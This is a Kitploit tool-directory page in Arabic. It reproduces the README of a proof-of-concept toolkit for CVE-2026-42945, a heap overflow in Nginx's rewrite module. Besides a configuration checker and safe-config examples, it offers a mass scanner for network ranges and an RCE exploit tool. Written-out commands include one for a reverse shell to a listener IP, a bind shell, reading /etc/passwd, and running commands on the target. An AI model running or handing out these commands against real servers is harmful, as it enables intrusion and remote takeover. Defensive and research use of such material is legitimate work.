Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
أدوات/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
الاستطلاعتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الويبالاختبار العشوائياختبار الاختراقتطوير الحمولاتاستغلال الملفات الثنائية
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

142منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-42945 Nginx Rift - مجموعة أدوات PoC

مجموعة أدوات متكاملة لإثبات المفهوم (PoC) لثغرة CVE-2026-42945 (Nginx Rift)، وهي ثغرة حرجة من نوع تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) في وحدة ngx_http_rewrite_module في Nginx.


ملخص الثغرة

الحقلالتفاصيل
معرف CVECVE-2026-42945
الاسمNginx Rift
النوعتجاوز سعة المخزن المؤقت في الكومة
المكونngx_http_rewrite_module
الخطورةحرجة (CVSS 9.2)
المتأثرNginx 0.6.27 - 1.30.0
المُصحَّحNginx 1.30.1 / 1.31.0

السبب الجذري

توجد الثغرة بسبب خطأ في حساب الحجم بين تمريرين داخليين عند معالجة قواعد إعادة الكتابة (rewrite). إذا كان التكوين يستخدم:

  • الالتقاطات غير المسماة بالتعبيرات المنتظمة ($1، $2، إلخ.)
  • مقترنة بسلسلة استبدال تحتوي على ?

يحسب Nginx حجم المخزن المؤقت المطلوب بشكل خاطئ خلال التمرير الأول، ويكتب خارج حدود المخزن المؤقت المخصص في الكومة خلال التمرير الثاني.

مثال على تكوين ضعيف (به ثغرة)

server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

تكوين آمن (مصحَّح)

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

مكونات مجموعة الأدوات

1. nginx_rift_poc.py - أداة PoC الأساسية

أداة مسح ضوئي واستغلال تستهدف هدفًا واحدًا.

الميزات:

  • اكتشاف إصدار Nginx من رأس Server
  • التحقق مما إذا كان الإصدار ضمن النطاق المعرض للثغرة
  • إرسال حمولات HTTP مصمَّمة لإحداث تجاوز في الكومة
  • إنشاء تكوينات اختبار ضعيفة وآمنة

الاستخدام:

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - الماسح الضوئي الجماعي

ماسح ضوئي مجمّع لفحص أهداف متعددة في وقت واحد.

الميزات:

  • فحص متعدد الخيوط (افتراضيًا 50 خيطًا)
  • قائمة أهداف من ملف أو نطاق شبكة CIDR
  • مخرجات JSON للتكامل
  • كشف تلقائي لـ SSL للمنفذ 443

الاستخدام:

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

تنسيق ملف الأهداف:

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - محلل التكوين

مسح ملفات تكوين Nginx المحلية بحثًا عن أنماط إعادة كتابة ضعيفة.

الميزات:

  • تحليل nginx.conf وتتبُّع توجيهات include
  • اكتشاف الالتقاطات غير المسماة مع ? في سلاسل الاستبدال
  • دعم الإصلاح التلقائي (مع نسخ احتياطية)
  • مسح الدلائل بشكل متكرر

الاستخدام:

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py - أداة PoC المحسّنة لاستغلال التحكم عن بُعد (RCE)

أداة استغلال متقدمة تستند إلى الأبحاث الرسمية من depthfirst، وتدعم أنماط إعادة كتابة وأوضاع استغلال متعددة.

الميزات:

  • كشف تلقائي لـ 8 أنماط شائعة من أنماط إعادة الكتابة الضعيفة (/api/، /redirect/، /user/، إلخ.)
  • دعم أحرف تشغيل تجاوز متعددة (+، &، =، %)
  • إنشاء حمولات ذكية بحجم تجاوز محكوم
  • أوضاع استغلال متعددة: cmd / shell / bind / read
  • عناوين أساس مخصصة للكومة/malloc (لبيئات تم تعطيل ASLR فيها)
  • بناء جسم رش (spray) ديناميكي مع ngx_pool_cleanup_s مزيف

الاستخدام:

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

تفاصيل وضع الاستغلال:

الوضعالوصفالمخرجات
cmdتنفيذ أمر shell واحدمخرجات الأمر على الهدف
shellإنشاء shell عكسييتصل بـ --listen-ip:listen-port
bindإنشاء shell مرتبط على الهدفيستمع على --listen-port على الهدف
readقراءة ملف من الهدفيكتب المحتوى إلى /tmp/nginx_rift_read

تكوين العناوين (فقط في بيئات تم تعطيل ASLR فيها):

  • --heap-base: القاعدة الأساسية للكومة المستهدفة (مثل 0x555555559000)
  • --libc-base: عنوان قاعدة libc (مثل 0x7ffff77ba000)
  • --system-addr: عنوان system() مباشرة (يتجاوز libc-base)

5. aslr_leak_detector.py - كاشف تسرب ASLR

ماسح ضوئي شامل لكشف تسرب المعلومات الذي يمكنه تجاوز حماية ASLR.

الميزات:

  • كشف تسرب رؤوس HTTP (Server، X-Powered-By، إلخ.)
  • تحليل صفحات الخطأ بحثًا عن عناوين الذاكرة وتتبعات المكدس
  • فحص نقاط نهاية خاصة بـ Nginx (/nginx_status، /actuator/*، إلخ.)
  • كشف تسرب عناوين الذاكرة (مؤشرات 64 بت، عناوين الكومة/libc/المكدس)
  • فحص تخطيط الكومة عبر تحليل التوقيت
  • استنتاج حالة ASRL (ممكّن/معطّل/ضعيف)
  • تكامل مباشر مع enhanced_poc.py عبر تقرير JSON

الاستخدام:

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

التكامل مع PoC المحسَّنة:

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

مؤشرات كشف الثغرة

تحدد أداة PoC الثغرة من خلال هذه المؤشرات:

المؤشرالوصف
انقطاع الاتصاليغلق الهدف الاتصال بشكل غير متوقع (تعطل العامل)
أخطاء البوابةاستجابات HTTP 502/503/504 (توقف عملية العامل)
استجابات بطيئةزيادة كبيرة في وقت الاستجابة (استرداد بعد التعطل)
استجابات فارغةاختفاء محتوى الاستجابة مقارنة بالخط الأساسي
تطابق الإصدارإصدار Nginx المكتشف ضمن النطاق المعرض للثغرة

التثبيت

لا يتطلب أي تبعيات خارجية. يستخدم فقط مكتبات Python القياسية.

# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945

# Verify Python version (3.7+ recommended)
python3 --version
تنزيل الأداة